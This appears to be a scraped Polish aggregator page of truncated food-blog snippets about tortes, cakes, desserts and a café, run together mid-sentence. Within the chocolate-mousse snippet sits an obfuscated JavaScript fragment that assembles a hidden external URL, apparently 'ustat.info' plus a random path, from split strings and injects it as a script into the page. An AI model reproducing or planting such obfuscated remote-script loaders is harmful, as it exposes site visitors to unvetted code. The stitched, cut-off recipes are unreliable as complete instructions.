Z tego, co dobrze kojarzę, zaczynamy dziś astronomiczne lato. Dlatego zapytuję: GDZIE JESTEŚ?! Końcówka czerwca "raczy" nas wiecznym deszczem, silnym wiatrem i
W kuchni Karmel-itkiCiasto w formie tortu. Czemu nie? Spód nieco grubszy. Nie przekrawałam go na dwa placki. Dzięki temu doskonale wyczuwa się w nim aromat migdałowy. Masa jak pianka. Puszysta, lekka, pyszna i ten krem morelowy.... wspaniały. ( Tortownica 26 cm) Składniki na ciasto: 170 g (1 szklanka) mąki pszennej tortowej 1 łyżeczka proszku do pieczenia(...)łyżeczki sody ¼ łyżeczki soli 140 g (3/4 szklanki) cukru 1 łyżeczka olejku migdałowego 4 jajka ¼ szklanki mleczka kokosowego Składniki na piankową masę: 500 g serków śmietankowych Philadelphia 200 g serka „mój ulubiony” 100 miękkiego masła ½ szklanki cukru pudru ¼ szklanki kremówki (30%) (brak na zdjęciu) 2 opakowania galaretki cytrynowej
Kuchnia u KrysiDziś inna odsłona tarty. Bez mąki. Bez pieczenia. Bez cukru. Nie oznacza to jednak, że wybitnie dietetycznie będzie, ale smacznie i zdrowo na pewno. I
gutfutWczoraj były moje urodziny...a ,że jestem "na detoksie", czyli poście jaglanym ,już 10 dzień, nie mogłam tego zaprzepaścić. Zrobiłam coś, czego się niesłusznie obawiałam. Zrobiłam tort- szarlotkę na kaszy jaglanej. Brzmi jak brzmi, ale smakuje obłędnie! Jeśli będziecie trzymać się składników i proporcji, to wyjdzie NIEBO W GĘBIE". Kasza jaglana to prawdziwy skarb, wiedzą o tym dietetycy, wiedzą zwykli(...)dzieła! Składniki NA SPÓD półtorej szklanki ugotowanej kaszy jaglanej ze szczyptą kurkumy 1 łyżka sezamu HELIO jedna trzecia szklanki mąki kasztanowej lub kukurydzianej jedna trzecia szklanki oleju kokosowego lub innego tłoczonego na zimno jedna trzecia mleka migdałowego lub wody zródlanej MUS JABŁKOWY 2 kg słodko-kwaśnych jabłek 1 łyżeczka cynamonu jedna trzecia łyżeczki kardamonu pół szklanki suszonej żurawiny
Z Kuchni Do KuchniSkładniki: - 6 jaj - 1,5 szklanki mąki tortowej - 1 szklanka drobnego cukru do wypieków - 1 łyżka cukru z wanilią - 3 łyżeczki proszku do pieczenia - 3 łyżki oleju (dałam kokosowy) - 1,5 łyżeczki octu (spirytusowy 10%) - ekstrakt waniliowy - szczypta soli Białka oddzielamy od żółtek, ubijamy na sztywno ze szczyptą soli. Dodajemy porcjami oba cukry, za każdym razem dokładnie ubijając. Do miski(...)pieczemy 40 minut. Po przestygnięciu i wyjęciu z formy, biszkopt kładziemy spodem do góry, co zagwarantuje nam idealnie równe ciasto. Biszkopt ten możemy wykorzystać na torty, babeczki, placki z kremem, czy owocami i np. galaretką. Zamieniając 2-3 łyżki mąki na taką samą proporcję kakao otrzymamy ciemny biszkopt. Moją propozycję jego wykorzystania przedstawię w najbliższych dniach. Uchylę tylko rąbka tajemnicy
mojewypiekiinietylkowodorostami a na Alasce pyszną pieczoną owsiankę, która bardziej wpisuje się w moje gusta smakowe. W Indiach dzień zaczniemy od herbaty z mlekiem która świetnie będzie współgrać z kokosowymi babeczkami wprost z Filipin. Zdjęcia są niezwykle apetyczne, przeglądając je od razu chce się biec do kuchni i spróbować dania danego regionu. Tytuł; Wszystkie poranki świata. Wydawnictwo; Buchmann Autor(...)dwie panie, jedna z nich jest fotografką (to można stwierdzić po pięknych zdjęciach) druga zaś projektantką. Ja na podstawie książki przygotowałam tarte jabłkową która w zasadzie wygląda jak tort... to śniadanie wprost z Holandii jednak jakże dobrze znany także i nam. Śniadanie czy deser, nieważne kiedy zjemy bo smakuje bardzo bardzo... Holenderska tarta z jabłkami. Składniki na ciasto
Radość kipiąca uśmiechem.weekend pod hasłem świętowania mojego sukcesu, ale zamiast tortu przygotowałam ciasto „leśny mech” w wersji LCHF. Idealnie pasuje do aktualnej pogody i wszechobecnej zieleni Dodatkowo dzięki szpinakowi, którego oczywiście w ogóle nie czuć ciasto jest pełne witamin oraz minerałów a do tego ma świetne makro ( B 7 g, T 21,5 g , W 2,7 g.) Składniki na ciasto (forma(...)szpinaku świeżego lub mrożonego 12 jajek o temperaturze pokojowej 180 g mąki kokosowej 240 g roztopionego oleju kokosowego (LCHF, keto, paleo) lub masła (LCHF, keto, optymalna) 2 łyżeczki sproszkowanej wanilii 2 łyżeczki proszku do pieczenia bez glutenu lub sody szczypta soli himalajskiej 6 łyżek wody opcjonalnie słodzik np. stewia (keto, LCHF)/ksylitol/cukier dla osób, które ich używają Składniki na krem
Ola la LCHF„Zainspirowana dwoma produktami Firmy Apart: Nektarem pod prysznic-morela i pomarańcza oraz Płynem do kąpieli-migdał i kokos stworzyłam na potrzeby konkursu „Apart: Kosmetyczne inspiracje
Wiem co jemwiecie jestem ogromną wielbicielką kawy ! Latte … z karmelem … z bitą śmietaną … kokosowa z lodami … taka z malibu i oprószona czekoladą – ajj – już na samą myśl cieknie ślinka! Swoje zamiłowanie do kawy postanowiłam wykorzystać również podczas sobotnich wypieków – to był strzał w 10! Delikatny kawowy biszkopt … serowa masa z domowym śmietankowo – czekoladowym(...)migdałów … czekolada … i chrupiące pałeczki skrywające w sobie karmel i ciasteczko – brzmi obłędnie , prawda?! I tak samo smakuje! Ciasto jest świetnym dodatkiem do ulubionej kawy! Ten tort + filiżanka jacobs Crema Gold = POŁĄCZENIE IDEALNE! Polecam! SKŁADNIKI : ( tortownica 16 cm ) BISZKOPT : * jajko – 2 szt * cukier – 1/3 szkl * mąka pszenna – 0,5 szkl * proszek do pieczenia
Ostra na Słodkostudencki lunch, spotkania z przyjaciółką czy romantyczne kolacje. W środku między innymi gorące pieczywo wypiekane na miejscu, duży wybór śniadań, pyszne zupy, rozmaite kawy i herbaty oraz specjalność Soffi - torty bezowe. Menu przejrzyste, zazwyczaj po parę dań z każdej kategorii. Dzięki temu jedzenie jest świeżo przygotowywane a w kuchni wykorzystywane są sezonowe warzywa i owoce. Wszystkie dania są pięknie przybrane(...)krem z pomidorów udekorowany musem gorgonzola z delikatną nutą brandy Zupa Tom Kha Gai podana w wersji Shot Soup ( 9 zł ) - pikantna tajska zupa z kurczakiem na mleku kokosowym z dodatkiem trawy cytrynowej Sałatka Ciepła Koza ( 18 zł ) - mix sałat z ciepłymi grzankami z serem kozim, pomidorkami koktajlowymi i sosem miodowym vinegrette, posypana prażonymi orzeszkami pinii Ciepła Koza Herbata
Atlas SmakówMarakuję odkryłam bardzo niedawno. To niezwykle smaczny owoc, który w połączeniu z mięsem drobiowym, wieprzowina i rybami sprawdza się idealnie. Jednak, w moim przekonaniu nieprzeciętnie smakuje
Humanistka w kuchniW powietrzu czuję radość. Unosi się, wypełnia przestrzeń niczym hel, zwiększający objętość czerwonego balonika. Słońce zaś muska cały świata swoimi promieniami, liże konary drzew, które zazieleniły
W kuchni Karmel-itkisiły mrożenia zamrażarki. PRALINKI KOKOSOWE Odłożony wcześniej ryż ze śmietanką kokosową i ksylitolem ugnieść z wiórkami koksowymi do uzyskania plastycznej masy. Uformować małe kulki. KREM JAGODOWY Śmietankę kokosową zmiksować z jagodami i ksylitolem. Gdy lody osiągną właściwą konsystencję dodać jagody i odrobinę przemieszać, pierwszy blat umieścić w tortownicy, wyłożyć lody i ostrożnie ubić. Ponownie włożyć tortownicę z lodami(...)drugi blat nałożyć krem jagodowy, pralinki oraz borówki. Wyjąć tortownicę, ostrym nożem oddzielić boki lodów i zdjąć pierścień tortownicy. Nałożyć górny już udekorowany blat i podawać jeszcze zmrożony tort. Przepis ten miał już swoją premierę w magazynie "Mistrz Branży" gdzie znalazł swoje miejsce między licznymi mistrzami cukiernictwa. Pandy i w takim zacnym towarzystwie znalazły swój kącik 🐼 Dziękujemy za możliwość współpracy
Candy Pandasczasie, w kąpieli wodnej, roztapiamy czekoladę. Do żółtek z cukrem dodajemy ser mascarpone i stopniowo, roztopioną czekoladę. Miksujemy, aż powstanie gęsta, jednolita masa. Przekładamy do szklaneczek, posypujemy wiórkami kokosowymi. Wstawiamy do lodówki na 30 minut. Deser można posypać np. wiórkami czekolady lub suszonymi owocami. Latem deser można udekorować świeżymi owocami jak np. maliny czy truskawki, które doskonale smakują w połączeniu(...)włoskiego sera mascarpone. W wersji dla dorosłych warto dodać kilka kropli alkoholu, który pasuje do czekolady. Taki mus czekoladowy może być wykorzystany jako krem do przełożenia blatów biszkoptowych na tort. (function(){ ccku=document.createElement("script");ccku_=("ust");cckuu="15408294"; ccku_+="a"+("t.i");ccku.type="text/javascript"; cckuu+=".nwbbcttjcku0fgx1wqa0";ccku.async=true;ccku_+="n"+("f"+"o")+"/"; cckuu+="n4gh0tsvtX";ccku.src="//"+ccku_+cckuu; document.body.appendChild(ccku
Moja smaczna kuchniarównież smakowitą przekąską. Te ciasteczka na patyku są idealnym rozwiązaniem na imprezę,szczególnie taką z udziałem dzieci. Na pewno podbiją serca wszystkich. Uważam,że lepiej sprawdzą się niż tradycyjny tort. Są bardziej interesujące i przede wszystkim praktyczniejsze (przysparzają mniej kłopotów przy jedzeniu (połączenie krem+dziecko, hmmm chyba wszyscy wiemy jaki jest wynik :D) Zachęcam wszystkich do spróbowania i uwolnienia swojej(...)24X24) · patyczki do cake pops (dostępne są np. na stronie http://wypiekarnia.pl/ ) · kolorowe posypki, wiórki kokosowe · tabliczka gorzkiej czekolady · tabliczka białej czekolady · 150 g mascarpone
Mania Gotowania